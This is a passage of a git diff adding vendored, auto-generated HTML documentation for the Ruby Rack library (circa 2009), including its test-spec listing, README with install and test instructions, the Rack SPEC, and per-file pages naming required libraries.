  • +
  • can parse multipart form data + +
  • +
  • can parse big multipart form data + +
  • +
  • can detect invalid multipart form data + +
  • +
  • should work around buggy 1.8.* Tempfile equality + +
  • +
  • does conform to the Rack spec + +
  • +
  • should parse Accept-Encoding correctly + +
  • +
  • should provide ip information + +
  • +
+

Rack::Response

+
    +
  • has sensible default values + +
  • +
  • can be written to + +
  • +
  • can set and read headers + +
  • +
  • can set cookies + +
  • +
  • formats the Cookie expiration date accordingly to RFC 2109 + +
  • +
  • can set secure cookies + +
  • +
  • can delete cookies + +
  • +
  • has a useful constructor + +
  • +
  • has a constructor that can take a block + +
  • +
  • doesn‘t return invalid responses + +
  • +
  • knows if it‘s empty + +
  • +
  • should provide access to the HTTP status + +
  • +
  • should provide access to the HTTP headers + +
  • +
+

Rack::Session::Cookie

+
    +
  • creates a new cookie + +
  • +
  • loads from a cookie + +
  • +
  • survives broken cookies + +
  • +
  • barks on too big cookies + +
  • +
  • creates a new cookie with integrity hash + +
  • +
  • loads from a cookie wih integrity hash + +
  • +
  • ignores tampered with session cookies + +
  • +
+

Rack::Session::Memcache

+
    +
  • startup (empty) + +
  • +
  • faults on no connection + +
  • +
  • creates a new cookie + +
  • +
  • determines session from a cookie + +
  • +
  • survives broken cookies + +
  • +
  • maintains freshness + +
  • +
  • multithread: should cleanly merge sessions + +
  • +
  • shutdown + +
  • +
+

Rack::Session::Pool

+
    +
  • creates a new cookie + +
  • +
  • determines session from a cookie + +
  • +
  • survives broken cookies + +
  • +
  • maintains freshness + +
  • +
  • multithread: should merge sessions + +
  • +
+

Rack::ShowExceptions

+
    +
  • catches exceptions + +
  • +
+

Rack::ShowStatus

+
    +
  • should provide a default status message + +
  • +
  • should let the app provide additional information + +
  • +
  • should not replace existing messages + +
  • +
  • should pass on original headers + +
  • +
  • should replace existing messages if there is detail + +
  • +
+

Rack::Static

+
    +
  • serves files + +
  • +
  • 404s if url root is known but it can‘t find the file + +
  • +
  • calls down the chain if url root is not known + +
  • +
+

Rack::Handler::Thin

+
    +
  • should respond + +
  • +
  • should be a Thin + +
  • +
  • should have rack headers + +
  • +
  • should have CGI headers on GET + +
  • +
  • should have CGI headers on POST + +
  • +
  • should support HTTP auth + +
  • +
  • should set status + +
  • +
+

Rack::URLMap

+
    +
  • dispatches paths correctly + +
  • +
  • dispatches hosts correctly + +
  • +
  • should be nestable + +
  • +
  • should route root apps correctly + +
  • +
+

Rack::Utils

+
    +
  • should escape correctly + +
  • +
  • should unescape correctly + +
  • +
  • should parse query strings correctly + +
  • +
  • should build query strings correctly + +
  • +
  • should figure out which encodings are acceptable + +
  • +
+

Rack::Utils::HeaderHash

+
    +
  • should retain header case + +
  • +
  • should check existence of keys case insensitively + +
  • +
  • should merge case-insensitively + +
  • +
  • should overwrite case insensitively and assume the new key‘s case + +
  • +
  • should be converted to real Hash + +
  • +
+

Rack::Utils::Context

+
    +
  • should perform checks on both arguments + +
  • +
  • should set context correctly + +
  • +
  • should alter app on recontexting + +
  • +
  • should run different apps + +
  • +
+

Rack::Handler::WEBrick

+
    +
  • should respond + +
  • +
  • should be a WEBrick + +
  • +
  • should have rack headers + +
  • +
  • should have CGI headers on GET + +
  • +
  • should have CGI headers on POST + +
  • +
  • should support HTTP auth + +
  • +
  • should set status + +
  • +
  • should correctly set cookies + +
  • +
  • should provide a .run + +
  • +
+

+244 specifications, 4 empty (1004 requirements), 0 failures +

+ +
+ + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/README.html b/vendor/plugins/rack/doc/files/README.html new file mode 100644 index 00000000..d08b4c69 --- /dev/null +++ b/vendor/plugins/rack/doc/files/README.html @@ -0,0 +1,720 @@ + + + + + + File: README + + + + + + + + + + +
+

README

+ + + + + + + + + +
Path:README +
Last Update:Fri Jan 09 17:31:18 +0100 2009
+
+ + +
+ + + +
+ +
+

Rack, a modular Ruby webserver interface

+

+Rack provides a minimal, modular and +adaptable interface for developing web applications in Ruby. By wrapping +HTTP requests and responses in the simplest way possible, it unifies and +distills the API for web servers, web frameworks, and software in between +(the so-called middleware) into a single method call. +

+

+The exact details of this are described in the Rack specification, which all Rack applications should conform to. +

+

Supported web servers

+

+The included handlers connect all kinds of web servers to Rack: +

+
    +
  • Mongrel + +
  • +
  • EventedMongrel + +
  • +
  • SwiftipliedMongrel + +
  • +
  • WEBrick + +
  • +
  • FCGI + +
  • +
  • CGI + +
  • +
  • SCGI + +
  • +
  • LiteSpeed + +
  • +
  • Thin + +
  • +
+

+These web servers include Rack handlers +in their distributions: +

+
    +
  • Ebb + +
  • +
  • Fuzed + +
  • +
  • Phusion Passenger (which is mod_rack for Apache) + +
  • +
+

+Any valid Rack app will run the same on +all these handlers, without changing anything. +

+

Supported web frameworks

+

+The included adapters connect Rack with existing Ruby web frameworks: +

+
    +
  • Camping + +
  • +
+

+These frameworks include Rack adapters +in their distributions: +

+
    +
  • Coset + +
  • +
  • Halcyon + +
  • +
  • Mack + +
  • +
  • Maveric + +
  • +
  • Merb + +
  • +
  • Racktools::SimpleApplication + +
  • +
  • Ramaze + +
  • +
  • Ruby on Rails + +
  • +
  • Sinatra + +
  • +
  • Sin + +
  • +
  • Vintage + +
  • +
  • Waves + +
  • +
+

+Current links to these projects can be found at ramaze.net/#other-frameworks +

+

Available middleware

+

+Between the server and the framework, Rack can be customized to your applications +needs using middleware, for example: +

+
    +
  • Rack::URLMap, to route to +multiple applications inside the same process. + +
  • +
  • Rack::CommonLogger, for +creating Apache-style logfiles. + +
  • +
  • Rack::ShowException, for catching unhandled exceptions and presenting them +in a nice and helpful way with clickable backtrace. + +
  • +
  • Rack::File, for serving static +files. + +
  • +
  • …many others! + +
  • +
+

+All these components use the same interface, which is described in detail +in the Rack specification. These +optional components can be used in any way you wish. +

+

Convenience

+

+If you want to develop outside of existing frameworks, implement your own +ones, or develop middleware, Rack +provides many helpers to create Rack +applications quickly and without doing the same web stuff all over: +

+ +

rack-contrib

+

+The plethora of useful middleware created the need for a project that +collects fresh Rack middleware. +rack-contrib includes a variety of add-on components for Rack and it is easy to contribute new +modules. +

+ +

rackup

+

+rackup is a useful tool for running Rack +applications, which uses the Rack::Builder DSL to configure +middleware and build up applications easily. +

+

+rackup automatically figures out the environment it is run in, and runs +your application as FastCGI, CGI, or standalone with Mongrel or +WEBrick—all from the same configuration. +

+

Quick start

+

+Try the lobster! +

+

+Either with the embedded WEBrick starter: +

+
+    ruby -Ilib lib/rack/lobster.rb
+
+

+Or with rackup: +

+
+    bin/rackup -Ilib example/lobster.ru
+
+

+By default, the lobster is found at localhost:9292. +

+

Installing with RubyGems

+

+A Gem of Rack is available. You can +install it with: +

+
+    gem install rack
+
+

+I also provide a local mirror of the gems (and development snapshots) at my +site: +

+
+    gem install rack --source http://chneukirchen.org/releases/gems/
+
+

Running the tests

+

+Testing Rack requires the test/spec +testing framework: +

+
+    gem install test-spec
+
+

+There are two rake-based test tasks: +

+
+    rake test       tests all the fast tests (no Handlers or Adapters)
+    rake fulltest   runs all the tests
+
+

+The fast testsuite has no dependencies outside of the core Ruby +installation and test-spec. +

+

+To run the test suite completely, you need: +

+
+  * camping
+  * mongrel
+  * fcgi
+  * ruby-openid
+  * memcache-client
+
+

+The full set of tests test FCGI access with lighttpd (on port 9203) so you +will need lighttpd installed as well as the FCGI libraries and the fcgi +gem: +

+

+Download and install lighttpd: +

+
+    http://www.lighttpd.net/download
+
+

+Installing the FCGI libraries: +

+
+    curl -O http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz
+    tar xzvf fcgi-2.4.0.tar.gz
+    cd fcgi-2.4.0
+    ./configure --prefix=/usr/local
+    make
+    sudo make install
+    cd ..
+
+

+Installing the Ruby fcgi gem: +

+
+    gem install fcgi
+
+

+Furthermore, to test Memcache sessions, you need memcached (will be run on +port 11211) and memcache-client installed. +

+

History

+
    +
  • March 3rd, 2007: First public release 0.1. + +
  • +
  • May 16th, 2007: Second public release 0.2. + +
      +
    • HTTP Basic authentication. + +
    • +
    • Cookie Sessions. + +
    • +
    • Static file handler. + +
    • +
    • Improved Rack::Request. + +
    • +
    • Improved Rack::Response. + +
    • +
    • Added Rack::ShowStatus, for +better default error messages. + +
    • +
    • Bug fixes in the Camping adapter. + +
    • +
    • Removed Rails adapter, was too alpha. + +
    • +
    +
  • +
  • February 26th, 2008: Third public release 0.3. + +
      +
    • LiteSpeed handler, by Adrian Madrid. + +
    • +
    • SCGI handler, by Jeremy Evans. + +
    • +
    • Pool sessions, by blink. + +
    • +
    • OpenID authentication, by blink. + +
    • +
    • :Port and :File options for opening FastCGI sockets, by blink. + +
    • +
    • Last-Modified HTTP header for Rack::File, by blink. + +
    • +
    • Rack::Builder#use now accepts blocks, by Corey Jewett. (See +example/protectedlobster.ru) + +
    • +
    • HTTP status 201 can contain a Content-Type and a body now. + +
    • +
    • Many bugfixes, especially related to Cookie handling. + +
    • +
    +
  • +
  • August 21st, 2008: Fourth public release 0.4. + +
      +
    • New middleware, Rack::Deflater, +by Christoffer Sawicki. + +
    • +
    • OpenID authentication now needs ruby-openid 2. + +
    • +
    • New Memcache sessions, by blink. + +
    • +
    • Explicit EventedMongrel handler, by Joshua Peek <josh@joshpeek.com> + +
    • +
    • Rack::Reloader is not loaded in +rackup development mode. + +
    • +
    • rackup can daemonize with -D. + +
    • +
    • Many bugfixes, especially for pool sessions, URLMap, thread safety and +tempfile handling. + +
    • +
    • Improved tests. + +
    • +
    • Rack moved to Git. + +
    • +
    +
  • +
  • January 6th, 2009: Fifth public release 0.9. + +
      +
    • Rack is now managed by the Rack Core Team. + +
    • +
    • Rack::Lint is stricter and follows +the HTTP RFCs more closely. + +
    • +
    • Added ConditionalGet middleware. + +
    • +
    • Added ContentLength middleware. + +
    • +
    • Added Deflater middleware. + +
    • +
    • Added Head middleware. + +
    • +
    • Added MethodOverride middleware. + +
    • +
    • Rack::Mime now provides popular +MIME-types and their extension. + +
    • +
    • Mongrel Header now streams. + +
    • +
    • Added Thin handler. + +
    • +
    • Official support for swiftiplied Mongrel. + +
    • +
    • Secure cookies. + +
    • +
    • Made HeaderHash case-preserving. + +
    • +
    • Many bugfixes and small improvements. + +
    • +
    +
  • +
  • January 9th, 2009: Sixth public release 0.9.1. + + +
  • +
+

Contact

+

+Please mail bugs, suggestions and patches to <rack-devel@googlegroups.com>. +

+

+Mailing list archives are available at <groups.google.com/group/rack-devel>. +

+

+There is a bug tracker at <rack.lighthouseapp.com/>. +

+

+Git repository (patches rebased on master are most welcome): +

+ +

+You are also welcome to join the rack channel on irc.freenode.net. +

+

Thanks

+

+The Rack Core Team, consisting of +

+
    +
  • Christian Neukirchen (chneukirchen) + +
  • +
  • James Tucker (raggi) + +
  • +
  • Josh Peek (josh) + +
  • +
  • Michael Fellinger (manveru) + +
  • +
  • Ryan Tomayko (rtomayko) + +
  • +
  • Scytrin dai Kinthra (scytrin) + +
  • +
+

+would like to thank: +

+
    +
  • Adrian Madrid, for the LiteSpeed handler. + +
  • +
  • Christoffer Sawicki, for the first Rails adapter and Rack::Deflater. + +
  • +
  • Tim Fletcher, for the HTTP authentication code. + +
  • +
  • Luc Heinrich for the Cookie sessions, the static file handler and bugfixes. + +
  • +
  • Armin Ronacher, for the logo and racktools. + +
  • +
  • Aredridel, Ben Alpert, Dan Kubb, Daniel Roethlisberger, Matt Todd, Tom +Robinson, and Phil Hagelberg for bug fixing and other improvements. + +
  • +
  • Stephen Bannasch, for bug reports and documentation. + +
  • +
  • Gary Wright, for proposing a better Rack::Response interface. + +
  • +
  • Jonathan Buch, for improvements regarding Rack::Response. + +
  • +
  • Armin Röhrl, for tracking down bugs in the Cookie generator. + +
  • +
  • Alexander Kellett for testing the Gem and reviewing the announcement. + +
  • +
  • Marcus Rückert, for help with configuring and debugging lighttpd. + +
  • +
  • The WSGI team for the well-done and documented work they‘ve done and +Rack builds up on. + +
  • +
  • All bug reporters and patch contributers not mentioned above. + +
  • +
+

Copyright

+

+Copyright (C) 2007, 2008, 2009 Christian Neukirchen <purl.org/net/chneukirchen> +

+

+Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, +including without limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to the +following conditions: +

+

+The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. +

+

+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN +NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. +

+

Links

+ + + + + + +
Rack:<rack.rubyforge.org/> + +
Rack‘s Rubyforge project:<rubyforge.org/projects/rack> + +
Official Rack repositories:<github.com/rack> + +
rack-devel mailing list:<groups.google.com/group/rack-devel> + +
Christian Neukirchen:<chneukirchen.org/> + +
+ +
+ + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/SPEC.html b/vendor/plugins/rack/doc/files/SPEC.html new file mode 100644 index 00000000..01bd1c08 --- /dev/null +++ b/vendor/plugins/rack/doc/files/SPEC.html @@ -0,0 +1,318 @@ + + + + + + File: SPEC + + + + + + + + + + +
+

SPEC

+ + + + + + + + + +
Path:SPEC +
Last Update:Fri Jan 09 17:40:06 +0100 2009
+
+ + +
+ + + +
+ +
+

+This specification aims to formalize the Rack protocol. You can (and should) use Rack::Lint to enforce it. When you +develop middleware, be sure to add a Lint before and after to catch all +mistakes. +

+

Rack applications

+

+A Rack application is an Ruby object +(not a class) that responds to call. It takes exactly one +argument, the environment and returns an Array of exactly three +values: The status, the headers, and the body. +

+

The Environment

+

+The environment must be an true instance of Hash (no subclassing allowed) +that includes CGI-like headers. The application is free to modify the +environment. The environment is required to include these variables +(adopted from PEP333), except when they‘d be empty, but see below. +

+ + + + + + + +
REQUEST_METHOD:The HTTP request method, such as "GET" or "POST". This +cannot ever be an empty string, and so is always required. + +
SCRIPT_NAME:The initial portion of the request URL‘s "path" that +corresponds to the application object, so that the application knows its +virtual "location". This may be an empty string, if the +application corresponds to the "root" of the server. + +
PATH_INFO:The remainder of the request URL‘s "path", designating the +virtual "location" of the request‘s target within the +application. This may be an empty string, if the request URL targets the +application root and does not have a trailing slash. + +
QUERY_STRING:The portion of the request URL that follows the ?, if any. May be +empty, but is always required! + +
SERVER_NAME, SERVER_PORT:When combined with SCRIPT_NAME and PATH_INFO, these +variables can be used to complete the URL. Note, however, that +HTTP_HOST, if present, should be used in preference to +SERVER_NAME for reconstructing the request URL. +SERVER_NAME and SERVER_PORT can never be empty strings, +and so are always required. + +
HTTP_ Variables:Variables corresponding to the client-supplied HTTP request headers (i.e., +variables whose names begin with HTTP_). The presence or absence +of these variables should correspond with the presence or absence of the +appropriate HTTP header in the request. + +
+

+In addition to this, the Rack +environment must include these Rack-specific variables: +

+ + + + + + + + +
rack.version:The Array [0,1], representing this version of Rack. + +
rack.url_scheme:http or https, depending on the request URL. + +
rack.input:See below, the input stream. + +
rack.errors:See below, the error stream. + +
rack.multithread:true if the application object may be simultaneously invoked by another +thread in the same process, false otherwise. + +
rack.multiprocess:true if an equivalent application object may be simultaneously invoked by +another process, false otherwise. + +
rack.run_once:true if the server expects (but does not guarantee!) that the application +will only be invoked this one time during the life of its containing +process. Normally, this will only be true for a server based on CGI (or +something similar). + +
+

+The server or the application can store their own data in the environment, +too. The keys must contain at least one dot, and should be prefixed +uniquely. The prefix rack. is reserved for use with the Rack core distribution and must not be used +otherwise. The environment must not contain the keys +HTTP_CONTENT_TYPE or HTTP_CONTENT_LENGTH (use the +versions without HTTP_). The CGI keys (named without a period) +must have String values. There are the following restrictions: +

+
    +
  • rack.version must be an array of Integers. + +
  • +
  • rack.url_scheme must either be http or https. + +
  • +
  • There must be a valid input stream in rack.input. + +
  • +
  • There must be a valid error stream in rack.errors. + +
  • +
  • The REQUEST_METHOD must be a valid token. + +
  • +
  • The SCRIPT_NAME, if non-empty, must start with / + +
  • +
  • The PATH_INFO, if non-empty, must start with / + +
  • +
  • The CONTENT_LENGTH, if given, must consist of digits only. + +
  • +
  • One of SCRIPT_NAME or PATH_INFO must be set. +PATH_INFO should be / if SCRIPT_NAME is empty. +SCRIPT_NAME never should be /, but instead be empty. + +
  • +
+

The Input Stream

+

+The input stream must respond to gets, each and +read. +

+
    +
  • gets must be called without arguments and return a string, or +nil on EOF. + +
  • +
  • read must be called without or with one integer argument and +return a string, or nil on EOF. + +
  • +
  • each must be called without arguments and only yield Strings. + +
  • +
  • close must never be called on the input stream. + +
  • +
+

The Error Stream

+

+The error stream must respond to puts, write and +flush. +

+
    +
  • puts must be called with a single argument that responds to +to_s. + +
  • +
  • write must be called with a single argument that is a String. + +
  • +
  • flush must be called without arguments and must be called in order +to make the error appear for sure. + +
  • +
  • close must never be called on the error stream. + +
  • +
+

The Response

+

The Status

+

+The status, if parsed as integer (to_i), must be greater than or +equal to 100. +

+

The Headers

+

+The header must respond to each, and yield values of key and value. The +header keys must be Strings. The header must not contain a Status +key, contain keys with : or newlines in their name, contain keys +names that end in - or _, but only contain keys that +consist of letters, digits, _ or - and start with a +letter. The values of the header must respond to each. The values passed on +each must be Strings and not contain characters below 037. +

+

The Content-Type

+

+There must be a Content-Type, except when the Status is +1xx, 204 or 304, in which case there must be none given. +

+

The Content-Length

+

+There must be a Content-Length, except when the Status is +1xx, 204 or 304, in which case there must be none given. +

+

The Body

+

+The Body must respond to each and must only yield String values. If the +Body responds to close, it will be called after iteration. The Body +commonly is an Array of Strings, the application instance itself, or a +File-like object. +

+

Thanks

+

+Some parts of this specification are adopted from PEP333: Python Web Server +Gateway Interface v1.0 (www.python.org/dev/peps/pep-0333/). +I‘d like to thank everyone involved in that effort. +

+ +
+ + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html b/vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html new file mode 100644 index 00000000..8cd4e7dc --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html @@ -0,0 +1,101 @@ + + + + + + File: camping.rb + + + + + + + + + + +
+

camping.rb

+ + + + + + + + + +
Path:lib/rack/adapter/camping.rb +
Last Update:Fri Dec 05 15:00:31 +0100 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html b/vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html new file mode 100644 index 00000000..0bc79bdb --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html @@ -0,0 +1,109 @@ + + + + + + File: basic.rb + + + + + + + + + + +
+

basic.rb

+ + + + + + + + + +
Path:lib/rack/auth/basic.rb +
Last Update:Mon Dec 31 19:31:13 +0100 2007
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ rack/auth/abstract/handler   + rack/auth/abstract/request   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html b/vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html new file mode 100644 index 00000000..3d062a98 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html @@ -0,0 +1,119 @@ + + + + + + File: openid.rb + + + + + + + + + + +
+

openid.rb

+ + + + + + + + + +
Path:lib/rack/auth/openid.rb +
Last Update:Tue Jan 06 12:35:41 +0100 2009
+
+ + +
+ + + +
+ +
+

+AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net +

+ +
+ +
+

Required files

+ +
+ rack/auth/abstract/handler   + uri   + pp   + openid   + openid/extension   + openid/store/memory   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/builder_rb.html b/vendor/plugins/rack/doc/files/lib/rack/builder_rb.html new file mode 100644 index 00000000..98eef513 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/builder_rb.html @@ -0,0 +1,101 @@ + + + + + + File: builder.rb + + + + + + + + + + +
+

builder.rb

+ + + + + + + + + +
Path:lib/rack/builder.rb +
Last Update:Fri Nov 28 15:54:54 +0100 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html b/vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html new file mode 100644 index 00000000..a0d7a00e --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html @@ -0,0 +1,101 @@ + + + + + + File: cascade.rb + + + + + + + + + + +
+

cascade.rb

+ + + + + + + + + +
Path:lib/rack/cascade.rb +
Last Update:Sun Aug 17 12:14:20 +0200 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html b/vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html new file mode 100644 index 00000000..540107e4 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html @@ -0,0 +1,101 @@ + + + + + + File: commonlogger.rb + + + + + + + + + + +
+

commonlogger.rb

+ + + + + + + + + +
Path:lib/rack/commonlogger.rb +
Last Update:Sun Aug 17 12:15:19 +0200 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html b/vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html new file mode 100644 index 00000000..dc31ab12 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html @@ -0,0 +1,101 @@ + + + + + + File: conditionalget.rb + + + + + + + + + + +
+

conditionalget.rb

+ + + + + + + + + +
Path:lib/rack/conditionalget.rb +
Last Update:Tue Dec 30 12:19:30 +0100 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html b/vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html new file mode 100644 index 00000000..3ad44131 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html @@ -0,0 +1,101 @@ + + + + + + File: content_length.rb + + + + + + + + + + +
+

content_length.rb

+ + + + + + + + + +
Path:lib/rack/content_length.rb +
Last Update:Tue Dec 30 12:19:30 +0100 2008
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html b/vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html new file mode 100644 index 00000000..3ba03d0c --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html @@ -0,0 +1,110 @@ + + + + + + File: deflater.rb + + + + + + + + + + +
+

deflater.rb

+ + + + + + + + + +
Path:lib/rack/deflater.rb +
Last Update:Tue Dec 30 12:19:30 +0100 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ zlib   + stringio   + time   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/directory_rb.html b/vendor/plugins/rack/doc/files/lib/rack/directory_rb.html new file mode 100644 index 00000000..c6ba161f --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/directory_rb.html @@ -0,0 +1,109 @@ + + + + + + File: directory.rb + + + + + + + + + + +
+

directory.rb

+ + + + + + + + + +
Path:lib/rack/directory.rb +
Last Update:Fri Jan 09 17:15:50 +0100 2009
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ time   + rack/mime   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/file_rb.html b/vendor/plugins/rack/doc/files/lib/rack/file_rb.html new file mode 100644 index 00000000..9c39d345 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/file_rb.html @@ -0,0 +1,109 @@ + + + + + + File: file.rb + + + + + + + + + + +
+

file.rb

+ + + + + + + + + +
Path:lib/rack/file.rb +
Last Update:Fri Jan 09 17:16:39 +0100 2009
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ time   + rack/mime   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/forward_rb.html b/vendor/plugins/rack/doc/files/lib/rack/forward_rb.html new file mode 100644 index 00000000..98ef9cfc --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/forward_rb.html @@ -0,0 +1,111 @@ + + + + + + File: forward.rb + + + + + + + + + + +
+

forward.rb

+ + + + + + + + + +
Path:lib/rack/forward.rb +
Last Update:Thu Dec 06 16:30:08 +0100 2007
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ net/http   + rack   + rack/lobster   + rack/handler/mongrel   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html new file mode 100644 index 00000000..1df27d4b --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html @@ -0,0 +1,101 @@ + + + + + + File: cgi.rb + + + + + + + + + + +
+

cgi.rb

+ + + + + + + + + +
Path:lib/rack/handler/cgi.rb +
Last Update:Wed May 16 16:47:16 +0200 2007
+
+ + +
+ + + +
+ + + +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html new file mode 100644 index 00000000..1c55b508 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html @@ -0,0 +1,108 @@ + + + + + + File: evented_mongrel.rb + + + + + + + + + + +
+

evented_mongrel.rb

+ + + + + + + + + +
Path:lib/rack/handler/evented_mongrel.rb +
Last Update:Sun Sep 07 22:14:00 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ swiftcore/evented_mongrel   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html new file mode 100644 index 00000000..9550d40e --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html @@ -0,0 +1,109 @@ + + + + + + File: fastcgi.rb + + + + + + + + + + +
+

fastcgi.rb

+ + + + + + + + + +
Path:lib/rack/handler/fastcgi.rb +
Last Update:Fri Sep 05 21:33:18 +0200 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ fcgi   + socket   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html new file mode 100644 index 00000000..addeb519 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html @@ -0,0 +1,108 @@ + + + + + + File: lsws.rb + + + + + + + + + + +
+

lsws.rb

+ + + + + + + + + +
Path:lib/rack/handler/lsws.rb +
Last Update:Thu Jul 12 10:21:39 +0200 2007
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ lsapi   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html b/vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html new file mode 100644 index 00000000..185c71f3 --- /dev/null +++ b/vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html @@ -0,0 +1,109 @@ + + + + + + File: mongrel.rb + + + + + + + + + + +
+

mongrel.rb

+ + + + + + + + + +
Path:lib/rack/handler/mongrel.rb +
Last Update:Fri Nov 28 15:44:32 +0100 2008
+
+ + +
+ + + +
+ + +
+

Required files

+ +
+ mongrel   + stringio   +
+
+ +
+ + +
+ + + + +
+ + + + + + + + + + + +
